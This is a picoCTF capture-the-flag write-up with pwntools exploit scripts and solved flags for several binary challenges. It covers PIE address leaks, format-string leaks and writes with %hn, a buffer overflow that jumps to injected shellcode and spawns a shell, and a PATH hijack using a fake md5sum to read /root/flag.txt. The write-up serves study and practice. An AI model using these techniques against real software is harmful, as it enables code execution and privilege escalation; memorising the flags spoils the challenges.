# PicoCTF
## PIE TIME

```python
from pwn import *
p = process('./vuln')
p = remote('rescued-float.picoctf.net', 54065)
# gdb.attach(p)
line = p.recvline().strip()
log.info("Received: " + line.decode())
main = int(line.split(b":")[1].strip(), 16)
log.info(f"Main address: {hex(main)}")
win = main - 0x96
log.info(f"win address (main + 0x96): {hex(win)}")
# input()
p.sendline(hex(win))
p.interactive()
# Flag: picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_80c3b8b7}
```
In this challenge, we obtain the main address, so we can easily calculate the win address.
## PIE TIME 2


Format string here

**%19$p** can take the address of main + 65, why it's 19 ? 19 = (0x68 / 8) + 6 = 13 + 6 = 19

```python
from pwn import *
p = process('./vuln')
p = remote('rescued-float.picoctf.net', 49244)
# gdb.attach(p)
payload = b'%19$p'
p.sendline(payload)
line = p.recvline().strip()
log.info("Received: " + line.decode())
main = int(line.split(b":")[1].strip(), 16)
log.info(f"Main + 65 address: {hex(main)}")
win = main - 0xd7
log.info(f"win address (main - 0xd7): {hex(win)}")
# input()
p.sendline(hex(win))
p.interactive()
# Flag: picoCTF{p13_5h0u1dn'7_134k_2509623b}
```
This challenge is similar to the previous one: we simply leak the main address and then calculate the win address using a different offset.
## hash-only-1
```
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
8c9735f569157a799a98bd2014190786 /root/flag.txt
ctf-player@pico-chall$ echo '#!/bin/sh' > md5sum
ctf-player@pico-chall$ echo 'cat /root/flag.txt' >> md5sum
ctf-player@pico-chall$ chmod +x md5sum
ctf-player@pico-chall$ export PATH=.:$PATH
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_63a87fa9}
```
## hash-only-2

## Echo Valley


This challenge features a format string vulnerability.

First, we leak a stack address using **%20$p** (20 = 0x70 / 8 + 6); this address is located 8 bytes above the RBP, where the main function’s return address is stored.
Next, we leak an address corresponding to **main+18** which you can leak by sending **%21$p** (21 = 0x78 / 8 + 6)(i.e., the RIP), which lets us determine the address of the **print_flag** function.
Finally, we use %hn and %c to change the lower 2 bytes of the address so that it points to the **print_flag** function
```python
from pwn import *
elf = context.binary = ELF('./valley')
p = process()
# p = remote('shape-facility.picoctf.net', 50332)
p.sendline(b'%21$p')
p.recvuntil(b'distance: 0x')
ret_addr = int(p.recvline().decode().strip(),16) - elf.sym.main - 18
elf.address = ret_addr
p.sendline(b'%20$p')
p.recvuntil(b'distance: 0x')
ret_addr = int(p.recvline().decode().strip(),16) - 0x8
p.sendline(b'A'*16 + p64(ret_addr))
payload = b'%'
payload += str(int(hex(elf.sym.print_flag)[-4:],16)).encode()
payload += b'c%8$hn'
p.sendline(payload)
p.sendline(b'exit')
p.interactive()
```

**Flag: picoctf{f1ckl3_f0rmat_f1asc0}**
P.S.: I solved this challenge by watching some techniques on YouTube and also using ChatGPT.
[Format String Exploit](https://www.youtube.com/watch?v=QOgD3jPHyRY)
## Handoff
Checksec:

sources:
```python3=
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
void print_menu() {
puts("What option would you like to do?");
puts("1. Add a new recipient");
puts("2. Send a message to a recipient");
puts("3. Exit the app");
}
int vuln() {
char feedback[8];
entry_t entries[10];
int total_entries = 0;
int choice = -1;
// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
while (true) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
getchar(); // Remove trailing \n
// Add entry
if (choice == 1) {
choice = -1;
// Check for max entries
if (total_entries >= MAX_ENTRIES) {
puts("Max recipients reached!");
continue;
}
// Add a new entry
puts("What's the new recipient's name: ");
fflush(stdin);
fgets(entries[total_entries].name, NAME_LEN, stdin);
total_entries++;
}
// Add message
else if (choice == 2) {
choice = -1;
puts("Which recipient would you like to send a message to?");
if (scanf("%d", &choice) != 1) exit(0);
getchar();
if (choice >= total_entries) {
puts("Invalid entry number");
continue;
}
puts("What message would you like to send them?");
fgets(entries[choice].msg, MSG_LEN, stdin);
}
else if (choice == 3) {
choice = -1;
puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
}
else {
choice = -1;
puts("Invalid option");
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output)
vuln();
return 0;
}
```
In this challenge, I found two bugs in total.

What if choice be a negative number ???

```python3=
#define NAME_LEN 32
```
BOF there
But I just use BOF to solve this problem.
Script:
```python3
from pwn import *
elf = context.binary = ELF('./handoff')
p = elf.process()
# p = remote('shape-facility.picoctf.net', 63645)
gdb.attach(p, gdbscript = '''
b* 0x401014
c
''')
shellcode = asm('''
xor rsi, rsi
push 0
pop rax
xor rdi, rdi
mov rsi, rsp
push 0x64
pop rdx
syscall
jmp rsp
''')
newshellcode = asm('''
mov rax, rax
sub rax,716
jmp rax
''')
jmp_rax = 0x401014
p.sendlineafter(b'app', b'1')
p.sendlineafter(b'name:', b'name')
p.sendlineafter(b'app', b'2')
p.sendlineafter(b'to?', b'0')
p.sendlineafter(b'them?', shellcode)
payload = newshellcode
payload += asm('nop') * (20 - len(payload))
payload += p64(jmp_rax)
p.sendlineafter(b'app', b'3')
p.sendlineafter(b'it:', payload)
p.sendline(asm(shellcraft.sh()))
p.interactive()
```
The flow of my solution:
+ Choosing option 1 to make total_entries=1 (>0)
+ Since total_entries > 0, we can use option 2 to place our shellcode on entries[0]
+ Choose option 3 than send **newshellcode**, that **shellcode** would calculate and jmp to **shellcode** that I place in option 2
- Send the shellcraft then jmp to it by **jmp rsp** in **shellcode**

Flag: picoCTF{p1v0ted_ftw_198161ff}